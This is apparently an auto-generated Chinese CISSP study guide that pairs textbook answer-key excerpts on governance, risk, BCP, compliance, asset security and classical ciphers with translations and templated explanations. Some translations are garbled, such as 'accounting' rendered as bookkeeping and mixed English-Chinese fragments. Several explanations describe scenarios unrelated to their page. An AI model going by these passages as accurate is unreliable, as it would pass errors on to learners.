OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
注入攻击 注入攻击把恶意输入当命令或查询执行。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 155 / PDF P1549

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

18. A. SQL injection attacks allow attackers to include their own SQL commands in the commands issued by a web application to a database. 19. A. Ransomware's signature characteristic is the encryption of files using a key known only to the attacker and then demanding payment in exchange for the decryption key. 20. A. User and entity behavior analytics (UEBA) tools develop profiles of individual behavior and then monitor users for deviations from those profiles that may indicate malicious activity and/or compromised accounts. This type of tool would meet Rhonda's requirements. 18. A. SQL

中文直译 / 整理

注入攻击允许攻击者将他们自己的SQL命令包含在Web应用程序发 送给数据库的命令中。 19. A. 勒索软件的典型特征是使用只有攻击者才知道的密钥加密文件,然后 要求支付费用以换取解密密钥。 20. A. 用户和实体行为分析(UEBA)工具会建立个体行为的档案,然后 监控用户是否出现偏离这些档案的行为,以识别可能的恶意活动和/或被攻 破的账户。 这种工具能够满足罗nda的要求。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 156 / PDF P1550

章末总结与练习题

章末内容用来反查自己是否真的理解,而不是只背答案。

教材原文段落

Appendix B Answers to Written Labs

中文直译 / 整理

附录 B 书面实验答案

小白解释

场景先行:你是公司的安全负责人,正在读第 1550 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:章末内容用来反查自己是否真的理解,而不是只背答案。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“章末总结与练习题”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

遇到章末题时,不要只看选项。先判断题干在问定义、责任归属、最佳下一步,还是控制措施选择。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 157 / PDF P1551

五大支柱与 CIA 三元组

先把安全目标分成机密性、完整性、可用性,再理解真实性和不可否认性。

教材原文段落

Chapter 1: Security Governance Through Principles and Policies 1. The CIA Triad is the combination of confidentiality, integrity, and availability. Confidentiality is the concept of the measures used to ensure the protection of the secrecy of data, information, or resources. Integrity is the concept of protecting the reliability and correctness of data. Availability is the concept that authorized subjects are granted timely and uninterrupted access to objects. The term CIA Triad is used to indicate the three key components of a security solution. 2. The requirements of accounting are identification, authentication, authorization, and auditing.

Each of these components needs to be legally supportable to truly hold someone accountable for their actions. 3. The six security roles are senior manager, security professional, asset owner, custodian, operator/user, and auditor. 4. The four components of a security policy are policies, standards, guidelines, and procedures. Policies are broad security statements. Standards are definitions of hardware and software security compliance. Guidelines are used when there is not an appropriate procedure. Procedures are detailed step-by-step instructions for performing work tasks in a secure manner.

中文直译 / 整理

第1章:通过原则与政策实现安全治理 1. CIA三元组是机密性、完整性和可用性的组合。 机密性是指用于确保数据、 信息或资源机密性的措施概念; 完整性是指保护数据可靠性和正确性的概念; 可用性是指授权主体能够及时且不间断地访问对象的概念。 术语 CIA Triad 用于指代安全解决方案的三个关键组成部分。 2. 会计的要求包括识别、认证、授权和审计。 这些组成部分中的每一个都 必须具有法律可支持性,才能真正对个人的行为追究责任。 3. 六个安全角色包括高级经理、安全专业人员、资产所有者、保管人、操作员/用户 和审计员。 4. 安全政策的四个组成部分是政策、标准、指南和程序。 政策是广泛的安全 声明; 标准是硬件和软件安全合规性的定义; 当没有合适的程序时,使用指 南; 程序是用于以安全方式执行工作任务的详细分步说明。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:先把安全目标分成机密性、完整性、可用性,再理解真实性和不可否认性。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

安全治理:治理负责定方向、定责任、定监督方式。它不是配置防火墙,而是决定组织为什么要做安全、由谁负责、做到什么程度。

CIA 三元组:机密性、完整性、可用性是安全目标的三根主梁。

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“五大支柱与 CIA 三元组”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 governance,优先想高层责任、业务目标、策略、监督和持续改进。

泄露看机密性,篡改看完整性,中断/不可访问看可用性。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
安全治理 治理负责定方向、定责任、定监督方式。它不是配置防火墙,而是决定组织为什么要做安全、由谁负责、做到什么程度。
CIA 三元组 机密性、完整性、可用性是安全目标的三根主梁。
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
学习单元 158 / PDF P1552

第 1552 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 2: Personnel Security and Risk Management Concepts 1. Possible answers include job descriptions, principle of least privilege, separation of duties, job responsibilities, job rotation/cross-training, performance reviews, background checks, job action warnings, awareness, training, job training, exit interviews/terminations, nondisclosure agreements, employment agreements, privacy declaration, and acceptable use policies. 2. The formulas and values for quantitative risk assessment are as follows: AV = $ EF = % loss SLE = AV * EF ARO = # / yr ALE = SLE * ARO or AV * EF * ARO Cost/benefit = (ALE1 – ALE2) – ACS 3.

The Delphi technique is an anonymous feedback-and-response process used to enable a group to reach an anonymous consensus. Its primary purpose is to elicit honest and uninfluenced responses from all participants. The participants are usually gathered into a single meeting room. For each request for feedback, each participant writes down their response on paper or through digital messaging services anonymously. The results are compiled and presented to the group for evaluation. The process is repeated until a consensus is reached.

The goal or purpose of the Delphi technique is to facilitate the evaluation of ideas, concepts, and solutions on their own merit without the discrimination that often occurs based on who the idea comes from. 4. Risk assessment often involves a hybrid approach using both quantitative and qualitative methods. A purely quantitative analysis is not possible; not all elements and aspects of the analysis can be quantified because some are qualitative, some are subjective, and some are intangible. Since a purely quantitative risk assessment is not possible, balancing the results of a quantitative analysis is essential. The method of combining quantitative and qualitative analyses into a final

中文直译 / 整理

第2章:人员安全与风险管理概念 1. 可能的答案包括职位描述、最小权限原则、职责分离、工作职责、工作轮 换/交叉培训、绩效评估、背景调查、工作行为警告、意识、培训、岗位培训、 离职面谈/终止、保密协议、雇佣协议、隐私声明和可接受使用政策。 2. 定量风险评估的公式和值如下:AV = $ EF = % loss SLE = AV * EF ARO = # / yr ALE = SLE * ARO or AV * EF * ARO Cost/benefit = (ALE1 – ALE2) – ACS 3. 德尔菲技术是一种匿名反馈与回应过程,用于使群体达成匿名共识。 其主 要目的是引导所有参与者提供真实且不受影响的回应。 参与者通常被集中到 一个会议室中。 对于每一次反馈请求,每位参与者都会在纸上或通过数字消 息服务匿名写下他们的回应。 结果被汇总并呈现给小组进行评估。 该过程重 复进行,直至达成共识。 德尔菲技术的目标或目的是促进对想法、概念和解 决方案的独立评估,避免因想法来源不同而产生的偏见。 4. 风险评估通常涉及一种结合定量和定性方法的混合方法。 无法进行纯粹的 定量分析;

并非所有分析要素和方面都能被量化,因为有些是定性的,有些 是主观的,有些是无形的。 由于无法进行纯粹的定量风险评估,因此平衡定 量分析的结果至关重要。 将定量和定性分析结合成最终

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

政策:政策是高层原则,说明必须遵守什么。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1552 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

Policy 高层、强制、稳定;Procedure 具体步骤。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
政策 政策是高层原则,说明必须遵守什么。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 159 / PDF P1553

第 1553 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

assessment of organizational risk is known as hybrid assessment or hybrid analysis. 5. The common social engineering principles are authority, intimidation, consensus, scarcity, familiarity, trust, and urgency. 6. Possible answers include eliciting information, pretexting, prepending, phishing, spear phishing, business email compromise (BEC), whaling, smishing, vishing, spam, shoulder surfing, invoice scams, hoaxes, impersonation, masquerading, tailgating, piggybacking, baiting, dumpster diving, identity fraud, typosquatting, influence campaigns, hybrid warfare, and social media abuse.

中文直译 / 整理

组织风险评估被称为混合评估或混合分析。 5. 常见的社会工程学原则包括权威、恐吓、从众、稀缺性、熟悉度、信任和 紧迫性。 6. 可能的答案包括诱骗信息、 pretexting、前置、钓鱼、鱼叉式钓鱼、商 业邮件入侵(BEC)、鲸钓、短信钓鱼、语音钓鱼、垃圾邮件、肩窥、发 票诈骗、恶作剧、冒充、伪装、尾随、搭便车、诱饵、翻找垃圾、身份欺 诈、错拼域名、影响活动、混合战争和社会媒体滥用。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1553 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
身份 身份是主体在系统中的标识。
学习单元 160 / PDF P1554

第 1554 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 3: Business Continuity Planning 1. Many federal, state, and local laws or regulations require businesses to implement BCP provisions. Including legal representation on your BCP team helps ensure that you remain compliant with laws, regulations, and contractual obligations. 2. The informal “seat-of-the-pants” approach is an excuse used by individuals who do not want to invest time and money in the proper creation of a BCP. This can lead to a catastrophe when a firmly laid plan isn't in place to guide the response during a stressful emergency situation. 3. Quantitative risk assessment involves using numbers and formulas to make a decision.

Qualitative risk assessment includes expertise instead of numeric measures, such as emotions, investor/consumer confidence, and workforce stability. 4. The BCP training plan should include a plan overview briefing for all employees and specific training for individuals with direct or indirect involvement. In addition, backup personnel should be trained for each key BCP role. 5. The four steps of the BCP process are project scope and planning, business impact analysis, continuity planning, and plan approval and implementation.

中文直译 / 整理

第3章:业务连续性规划 1. 许多联邦、州和地方法律或法规要求企业实施业务连续性规划(BCP)条 款。 在BCP团队中包含法律代表有助于确保您遵守法律、法规和合同义务。 2. 非正式的“凭直觉”做法是那些不愿投入时间和金钱来正确制定BCP的 人所找的借口。 当没有周密的计划指导紧急情况下的应对时,这可能导致 灾难性后果。 3. 定量风险评估涉及使用数字和公式做出决策。 定性风险评估则依赖专业知识, 例如情绪、投资者/消费者信心和员工队伍稳定性。 4. BCP培训计划应包括面向所有员工的计划概要简报,以及针对直接或间 接参与人员的专项培训。 此外,还应对每个关键BCP角色的后备人员进行 培训。 5. BCP 过程的四个步骤是项目范围与规划、业务影响分析、连续性规划, 以及计划审批与实施。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

业务连续性计划 BCP:BCP 关注业务在灾难或中断中如何继续运行。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1554 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

BCP 保护业务流程,DRP 保护 IT 恢复。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
业务连续性计划 BCP BCP 关注业务在灾难或中断中如何继续运行。
学习单元 161 / PDF P1555

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Chapter 4: Laws, Regulations, and Compliance 1. The two key mechanisms used to facilitate information transfers are standard contractual clauses (SCCs) and binding corporate rules (BCRs). In the past, organizations could rely on the EU/US Privacy Shield safe harbor agreement, but this agreement was deemed invalid by the Court of Justice of the European Union (CJEU). 2. Some common questions that organizations should ask about outsourced service providers are as follows: What types of sensitive information are stored, processed, or transmitted by the vendor? What controls are in place to protect the organization's information?

How is your organization's information segregated from that of other clients? If encryption is relied on as a security control, what encryption algorithms and key lengths are used? How is key management handled? What types of security audits does the vendor perform, and what access does the client have to those audits? Does the vendor rely on any other third parties to store, process, or transmit data? How do the provisions of the contract related to security extend to those third parties? Where will data storage, processing, and transmission take place? If outside the home country of the client and/or vendor, what implications does that have?

What is the vendor's incident response process and when will clients be notified of a potential security breach? What provisions are in place to ensure the ongoing integrity and availability of client data? 3. Some common steps that employers can take to notify employees of monitoring include clauses in employment contracts that state the employee should have no expectation of privacy while using corporate equipment, similar written statements in corporate acceptable use and privacy policies, logon banners warning that all communications are

中文直译 / 整理

第四章:法律、法规与合规 1. 用于促进信息传输的两个关键机制是标准合同条款(SCCs)和具有约束 力的公司规则(BCRs)。 过去,组织可以依赖欧盟/美国隐私盾安全港协议, 但该协议已被欧洲联盟法院(CJEU)裁定无效。 2. 组织在评估外包服务提供商时应询问的一些常见问题如下: 供应商存储、处理或 传输的敏感信息类型有哪些? 有哪些控制措施用于保护组织的信息? 贵组织的信息如何与其它客户的的信息隔离? 如果依赖加密作为安全控制措施,使用了哪些加密算法和密钥长 度? 密钥管理如何处理? 供应商执行哪些类型的安全审计? 客户对这些审计拥有何种访问权限? 供应商是否依赖其他第三方来存储、处理或传输数据? 合同中与安 全相关的条款如何延伸至这些第三方? 数据存储、处理和传输将在何处进行? 如果在客户和/或供应商所在 国之外,会带来哪些影响? 供应商的事件响应流程是什么? 客户将在何时被告知潜在的安全漏洞? What p条款位于 place 以确保持续的完整性和 客户数据的可用性?

3. 雇主可以采取的一些常见措施来通知员工监控情况,包括在雇佣合同中 加入条款,说明员工在使用公司设备时不应期望享有隐私权,类似书面声 明出现在公司可接受使用政策和隐私政策中,登录横幅警告所有通信均

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

审计:审计记录主体行为,用于追责、复盘和取证。

加密:加密把内容变成未授权者看不懂的形式。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

没有日志和身份绑定,就很难问责。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Policy 高层、强制、稳定;Procedure 具体步骤。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
审计 审计记录主体行为,用于追责、复盘和取证。
加密 加密把内容变成未授权者看不懂的形式。
政策 政策是高层原则,说明必须遵守什么。
标准 标准给出必须满足的最低要求。
审计 审计检查控制是否存在、是否有效、是否符合要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 162 / PDF P1556

第 1556 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

subject to monitoring, and labels on computers and telephones warning of monitoring.

中文直译 / 整理

受监控,并在计算机和电话上标注监控警告。

小白解释

场景先行:你是公司的安全负责人,正在读第 1556 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1556 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 163 / PDF P1557

第 1557 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 5: Protecting Security of Assets 1. Sensitive data is any data that isn't public. It includes personally identifiable information (PII), protected health information (PHI), proprietary data, and any other data that an organization needs to protect. PII is any information that can be used to identify an individual. 2. End of life (EOL) identifies the date when a vendor plans to stop selling and producing a product. End of support (EOS) identifies the date when a vendor plans to stop supporting a product. Organizations should replace products before the EOS date. 3. Organizations use pseudonymization when they want to create a dataset that they can transfer to others.

The new dataset doesn't hold any privacy-related data. However, the organization still holds the mapping of the pseudonyms and the original data and can reverse the process. Organizations that process credit card data use tokenization. A third party holds the mapping of the token and the credit card data, but the organization doesn't need to maintain the credit card data. Organizations use anonymization to remove all privacy data from a dataset. 4. Tailoring refers to modifying a list of controls to ensure they align with the mission of the organization. Tailoring includes scoping.

Scoping refers to reviewing a list of baseline security controls and selecting only those controls that apply to the IT systems you're trying to protect.

中文直译 / 整理

第五章:资产安全保护 1. 敏感数据是指任何非公开的数据。 它包括个人身份信息(PII)、受保护 的健康信息(PHI)、专有数据以及组织需要保护的任何其他数据。 PII 是 指可用于识别个人的任何信息。 2. 生命周期结束(EOL)指供应商计划停止销售和生产某产品的日期。 支持 终止(EOS)指供应商计划停止对某产品提供支持的日期。 组织应在 EOS 日 期前更换产品。 3. 当组织希望创建一个可转移给其他方的数据集时,会使用假名化。 新数据 集不包含任何与隐私相关的信息。 然而,组织仍保留假名与原始数据的映射 关系,并可逆转该过程。 处理信用卡数据的组织使用标记化技术。 第三方持 有标记与信用卡数据的映射关系,但组织无需维护信用卡数据。 组织使用匿 名化来从数据集中移除所有隐私数据。 4. 定制是指修改控制项列表,以确保其与组织的使命保持一致。 定制包括 范围界定。 范围界定是指审查基线安全控制项列表,并仅选择适用于您要 保护的IT系统的那些控制项。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1557 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
身份 身份是主体在系统中的标识。
学习单元 164 / PDF P1558

第 1558 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 6: Cryptography and Symmetric Key Algorithms 1. The major obstacle to the widespread adoption of one-time pad cryptosystems is the difficulty in creating and distributing the very lengthy keys on which the algorithm depends. 2.

The first step in encrypting the message, “I will pass the CISSP exam and become certified next month” using columnar transposition requires the assignment of numeric column values to the letters of the secret keyword SECURE: S E C U R E 5 2 1 6 4 3 Next, the letters of the message, “I will pass the CISSP exam and become certified next month” are written in order underneath the letters of the keyword: S E C U R E 5 2 1 6 4 3 I W I L L P A S S T H E C I S S P E X A M A N D B E C O M E C E R T I F I E D N E X T M O N T H Finally, the sender enciphers the message by reading down each column; the order in which the columns are read corresponds to the numbers assigned in the first step.

This produces the following ciphertext: I S S M C R D O W S I A E E E M P E E D E F X H L H P N M I E T I A C X B C I T L T S A O T N N 3. This message is decrypted by using the following function: P = (C - 3) mod 26 C: F R Q J U D W X O D W L R Q V B R X J R W L W P: C O N G R A T U L A T I O N S Y O U G O T I T The hidden message is “CongratulationsYouGotIt.” Congratulations, you got it!

中文直译 / 整理

第六章:密码学与对称密钥算法 1. 一次性密码本加密系统广泛采用的主要障碍在于,难以创建和分发 算法所依赖的非常长的密钥。 2. 使用列置换法加密消息“我将通过CISSP考试并在下个月获得认证”时, 第一步是为密钥单词SECURE的每个字母分配数值列序号: S E C U R E 5 2 1 6 4 3 接下来,将消息“我将通过CISSP考试并在下个月获得认证”的字母按顺 序写在密钥字母的下方: S E C U R E 5 2 1 6 4 3 I W I L L P A S S T H E C I S S P E X A M A N D B E C O M E C E R T I F I E D N E X T M O N T H 最后,发送方通过逐列向下读取来加密消息; 读取列的顺序与第一步 中分配的数字相对应。

这将生成以下密文: I S S M C R D O W S I A E E E M P E E D E F X H L H P N M I E T I A C X B C I T L T S A O T N N 3. 此消息通过以下函数解密: P = (C ‑ 3) mod 26 C: F R Q J U D W X O D W L R Q V B R X J R W L W P: C O N G R A T U L A T I O N S Y O U G O T I T 隐藏的消息是“CongratulationsYouGotIt。 ”恭喜你,你成功了!

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

密码学:密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。

对称加密:对称加密使用同一把密钥加密和解密,速度快但密钥分发难。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1558 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

